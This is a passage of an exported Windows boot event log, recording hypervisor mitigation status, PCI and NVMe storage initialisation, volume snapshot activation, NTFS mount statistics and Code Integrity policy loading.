disabled by bcdedit: false\nMitigations enabled: true\nCache flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t165\t\"Hypervisor configured mitigations for CVE-2019-11091, CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports microarchitectural buffer flush: true\nBuffer flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.104\t3\tSecure Kernel started with status STATUS_SUCCESS and flags 82976.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:48.104\t30\tThe firmware reported boot metrics.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.105\t20\t\"The leap second configuration has been updated.\nReason: Leap second data initialized from registry during boot\nLeap seconds enabled: true\nNew leap second count: 0\nOld leap second count: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.165\t16\tIOMMU fault reporting has been initialized.\tInformation\tSystem\tMicrosoft-Windows-HAL\n05.09.2026 08:28:48.306\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.314\t1\t[ROOT] (Bus 0x0000): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.315\t1\t[ROOT] (Bus 0x0000): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.317\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.471\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x1f.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.491\t1\t[PDO] (0x0000.0x1f.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.499\t1\t[PDO] (0x0000.0x06.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[PDO] (0x0000.0x06.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.534\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.596\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.604\t1\t[PDO] (0x0001.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.631\t1\t[PDO] (0x0001.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.632\t576\t\"Storport storage D3 setting.                    \nAdapter Guid: {946c1900-e3df-11f0-b74d-806e6f6e6963}                    \nAdapter port number: 4294967295                    \nAdapter hardware id: PCI\\VEN_1E49&DEV_1081&SUBSYS_10811E49&REV_03                    \nMiniport driver name: stornvme                    \nAdapter interface type: 5                    \nFlags: 4535619747840                    \nStorage D3 allowed: false                    \nACPI DSD property: 1                    \nD3 registry key state: 4294967295                    \nStorage D3 enable: true                    \nDirectFx enable: true\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.671\t527\tThe miniport logged an event.\tWarning\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.690\t513\t\"Host Memory Buffer Allocation for \\Device\\RaidPort0 succeeded.                    \nFailure Reason: None                    \nAllocation Policy: Maximum                    \nAttemped to Allocate: \t0x4000000 bytes                    \nActually Allocated: \t0x4000000 bytes                    \nDevice Minimum: \t0x4000000 bytes                    \nDevice Preferred: \t\t0x4000000 bytes                    \nPolicy Maximum: \t\t0x17875000 bytes\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.704\t567\tThe miniport logged an event.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t552\tStorport Device (Port = 0, Path = 0, Target = 0, Lun = 0) has arrived.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t553\tStorport Device {946c1900-e3df-11f0-b74d-806e6f6e6963} (Port = 0) was rescanned and changes were detected.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.715\t6\tFile System Filter 'FileInfo' (10.0, \u200e2093\u200e-\u200e04\u200e-\u200e02T08:29:43.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.715\t6\tFile System Filter 'Wof' (10.0, \u200e2047\u200e-\u200e07\u200e-\u200e10T20:40:35.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.716\t6\tFile System Filter 'WdFilter' (10.0, \u200e2069\u200e-\u200e10\u200e-\u200e28T18:09:00.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.718\t100\tNTFS global corruption action state is now 0.\tInformation\tMicrosoft-Windows-Ntfs/WHC\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:48.755\t1\t[PDO] (0x0000.0x0a.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.783\t1\t[PDO] (0x0000.0x0a.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.785\t104\t\"Enhanced storage device with Class Disk Device Guid: {00000000-0000-0000-0000-000000000000} entered D0 power state.                    \nDevice type: IEEE1667                    \nDevice state: NoSecurity\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.792\t106\t\"Storage device PDO capabilities discovered on Class Disk Device Guid: {00000000-0000-0000-0000-000000000000}.                    \nDevice PDO Capabilities: INC_512 set\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.799\t549\t\"This is the first instance of the error seen during this time period                     \non Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {00000000-0000-0000-0000-000000000000}:                     \nThe request opcode was 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe io latency was 1 ms.\"\tError\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.804\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:48.806\t207\t\"Physical disk {d10f1580-d0d5-c67f-846a-8d6faaba20dc} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 0                  \nDrive Manufacturer: NULL                  \nDrive Model Number: YMTC PC41Q-1TB-B                  \nDrive Serial Number: A428_B717_BC98_000A.\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 1 disk 0 offset 1048576.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 2 disk 0 offset 210763776.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 3 disk 0 offset 227540992.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 4 disk 0 offset 322350088192.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 5 disk 0 offset 995218161664.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 6 disk 0 offset 996291903488.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 7 disk 0 offset 1023135449088.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.811\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.819\t101\tInitialized VolumeCacheMap for device guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:48.865\t103\t\"Activation of discovered snapshots began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebadda-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T13:17:39.962Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebc0bd-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T22:36:10.189Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t107\t\"Reading of a snapshot diff area's metadata began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t108\t\"Reading of a snapshot diff area's metadata completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nCount of 1MB Reads: 4\nCount of 16KB Reads: 2\nDiff Area Metadata Size: 4210688 Bytes\nTotal Data Read: 4227072 Bytes\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.  The size of the diff area metadata may be less than the total number of bytes read if the diff area is discontiguous on disk.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e04T13:17:42.364Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t104\t\"Activation of discovered snapshots completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nTotal Number of Snapshots Found: 3\nNumber of Snapshots Marked for Delete: 0\nNumber of Visible Snapshots Found: 0\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  Some snapshots may be marked 'visible', meaning they were exposed as a local volume or file share.  Some detected snapshots may be marked 'deleted', meaning they are no longer available for use and their diff area space will be reclaimed when all older snapshots are deleted.  Look for instances of event 106 to see each snapshot that was discovered and whether it was 'visible' or 'deleted'.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.908\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.909\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.915\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.916\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.917\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:49.191\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: true\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 374 ms\n           Longest stage: 8. Duration 212 ms (57% of the total)\n           Second longest stage: 4. Duration 86 ms (23% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 28359\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t98\tVolume C: (\\Device\\HarddiskVolume3) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 3171\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 71\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.192\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.263\t3084\tCode Integrity will enable WHQL driver enforcement for this boot session.  Settings 0x0. Exemption 1.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {60fd87f8-4593-44a0-91b0-2e0da022f248} Microsoft Windows Endpoint Security Policy. id 10.0.29526.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {60fd87f8-4593-44a0-91b0-2e0da022f248}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {784c4414-79f4-4c32-a6a5-f0fb42a51d0d} Microsoft Windows Cross Certificates for Code Integrity Exceptions Audit Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {784c4414-79f4-4c32-a6a5-f0fb42a51d0d}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {8f9cb695-5d48-48d6-a329-7202b44607e3} Microsoft Windows Cross Certificates for Code Integrity Exceptions Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {8f9cb695-5d48-48d6-a329-7202b44607e3}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {a072029f-588b-4b5e-b7f9-05aad67df687} Microsoft Windows Virtualization Based Security Policy. id 10.0.29644.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.265\t3116\tSignature information for Code Integrity policy ID {a072029f-588b-4b5e-b7f9-05aad67df687}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.274\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t5\t\"WHEA successfully initialized.\n   6 error sources are active\n   Error record format version is 10.\"\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.306\t6\tFile System Filter 'FileCrypt' (10.0, \u200e2075\u200e-\u200e09\u200e-\u200e01T05:07:07.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 32610\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: 